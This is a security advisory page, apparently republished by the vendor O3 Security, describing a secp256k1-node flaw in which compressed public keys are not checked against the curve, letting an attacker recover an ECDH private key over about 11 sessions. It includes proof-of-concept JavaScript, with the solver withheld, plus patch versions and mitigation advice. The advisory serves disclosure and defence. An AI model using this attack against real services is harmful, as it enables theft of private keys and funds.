GHSA-584q-6j8j-r5pm — secp256k1
Fix: cryptocoinjs/secp256k1-node@8bd6446GHSA-584q-6j8j-r5pm is a CWE-354 vulnerability in secp256k1. A fix is available for secp256k1 — see the affected versions and patch details below.
secp256k1-node allows private key extraction over ECDH
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-584q-6j8j-r5pm.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
secp256k1npmDescription
Summary
In elliptic-based version, loadUncompressedPublicKey has a check that the public key is on the curve: https://github.com/cryptocoinjs/secp256k1-node/blob/6d3474b81d073cc9c8cc8cfadb580c84f8df5248/lib/elliptic.js#L37-L39
loadCompressedPublicKey is, however, missing that check: https://github.com/cryptocoinjs/secp256k1-node/blob/6d3474b81d073cc9c8cc8cfadb580c84f8df5248/lib/elliptic.js#L17-L19
That allows the attacker to use public keys on low-cardinality curves to extract enough information to fully restore the private key from as little as 11 ECDH sessions, and very cheaply on compute power
Other operations on public keys are also affected, including e.g. publicKeyVerify() incorrectly returning true on those invalid keys, and e.g. publicKeyTweakMul() also returning predictable outcomes allowing to restore the tweak
Details
The curve equation is Y^2 = X^3 + 7, and it restores Y from X in loadCompressedPublicKey, using Y = sqrt(X^3 + 7), but when there are no valid Y values satisfying Y^2 = X^3 + 7 for a given X, the same code calculates a solution for -Y^2 = X^3 + 7, and that solution also satisfies some other equation Y^2 = X^3 + D, where D is not equal to 7 and might be on a curve with factorizable cardinality, so (X,Y) might be a low-order point on that curve, lowering the number of possible ECDH output values to bruteforcable
Those output values correspond to remainders which can be then combined with Chinese remainder theorem to restore the original value
Endomorphism-based multiplication only slightly hinders restoration and does not affect the fact that the result is low-order
10 different malicious X values could be chosen so that the overall extracted information is 238.4 bits out of 256 bit private key, and the rest is trivially bruteforcable with an additional 11th public key (which might be valid or not -- not significant)
The attacker does not need to receive the ECDH value, they only need to be able to confirm it against a list of possible candidates, e.g. check if using it to decipher block/stream cipher would work -- and that could all be done locally on the attacker side
PoC
Example public key
This key has order 39 One of the possible outcomes for it is a throw, 38 are predictable ECDH values Keys used in full attack have higher order (starting from ~20000), so are very unlikely to cause an error
import secp256k1 from 'secp256k1/elliptic.js'
import { randomBytes } from 'crypto'
const pub = Buffer.from('028ac57f9c6399282773c116ef21f7394890b6140aa6f25c181e9a91e2a9e3da45', 'hex')
const seen = new Set()
for (let i = 0; i < 1000; i++) {
try {
seen.add(Buffer.from(secp256k1.ecdh(pub, randomBytes(32))).toString('hex'))
} catch {
seen.add('failure also is an outcome')
}
}
console.log(seen.size) // 39
Full attack
This PoC doesn't list the exact public keys or the code for solver.js intentionally, but this exact code works, on arbitrary random private keys:
// Only the elliptic version is affected, gyp one isn't
// Node.js can use both, Web/RN/bundles always use the elliptic version
import secp256k1 from 'secp256k1/elliptic.js'
import { randomBytes } from 'node:crypto'
import assert from 'node:assert/strict'
import { Solver } from './solver.js'
const privateKey = randomBytes(32)
// The full dataset is precomputed on a single MacBook Air in a few days and can be reused for any private key
const solver = new Solver
// We need to run on 10 specially crafted public keys for this
// Lower than 10 is possible but requires more compute
for (let i = 0; i < 10; i++) {
const letMeIn = solver.ping() // this is a normal 33-byte Uint8Array, a 02/03-prefixed compressed public key
assert(letMeIn instanceof Uint8Array) // true
assert(secp256k1.publicKeyVerify(letMeIn)) // true
// Returning ecdh value is not necessary but is used in this demo for simplicity
// Solver needs to _confirm_ an ecdh value against a set of precalculated known ones,
// which can be done even after it's hashed or used e.g. for a stream/block cipher, based on the encrypted data
solver.callback(secp256k1.ecdh(letMeIn, privateKey))
// Btw we have those precomputed so we can actually use those sessions to lower suspicion, most -- instantly
}
// Now, we need a single valid (or another invalid) public key to recheck things against
// It can be anything, e.g. we can specify an 11th one, or create a valid one and use it
// We'll be able to confirm/restore and use the ecdh value for this session too upon privateKey extraction
const anyPublicKey = secp256k1.publicKeyCreate(randomBytes(32))
assert(secp256k1.publicKeyVerify(anyPublicKey)) // true (obviously)
// Full complexity of this exploit requires solver to perform ~ 2^35 ecdh value checks (for all 10 keys combined),
// which is ~ 1 TiB -- that can be done offline and does not require any further interaction with the target
// The exact speed of the comparison step depends on how the ecdh values are used, but is not very significant
// Direct non-indexed linear scan over all possible (precomputed) values takes <10 minutes on a MacBook Air
// Confirming against e.g. cipher output would be somewhat slower, but still definitely possible + also could be precomputed
const extracted = solver.stab(anyPublicKey, secp256k1.ecdh(anyPublicKey, privateKey))
console.log(`Extracted private key: ${extracted.toString('hex')}`)
console.log(`Actual private key was: ${privateKey.toString('hex')}`)
assert(extracted.toString('hex') === privateKey.toString('hex'))
console.log('Oops')
Result:
Extracted private key: e3370b1e6726a6ceaa51a2aacf419e25244e0cde08596780da021b238b74df3d
Actual private key was: e3370b1e6726a6ceaa51a2aacf419e25244e0cde08596780da021b238b74df3d
Oops
node example.js 178.80s user 13.59s system 74% cpu 4:17.01 total
Impact
Remote private key is extracted over 11 ECDH sessions
The attack is very low-cost, precompute took a few days on a single MacBook Air, and extraction takes ~10 minutes on the same MacBook Air
Also:
publicKeyVerify()misreports malicious public keys as valid- Same affects tweak extraction from
publicKeyTweakMulresult and other public key operations
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | secp256k1 | ≥ 5.0.0&&< 5.0.1 | 5.0.1npm install secp256k1@5.0.1 |
| 📦npm | secp256k1 | ≥ 4.0.0&&< 4.0.4 | 4.0.4npm install secp256k1@4.0.4 |
| 📦npm | secp256k1 | all versions | 3.8.1npm install secp256k1@3.8.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for secp256k1, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update secp256k1 to 5.0.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-584q-6j8j-r5pm is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-584q-6j8j-r5pm can be triaged on real exposure rather than presence alone.
Tailored to GHSA-584q-6j8j-r5pm. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-584q-6j8j-r5pm in your dependencies?
O3 Security finds GHSA-584q-6j8j-r5pm across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.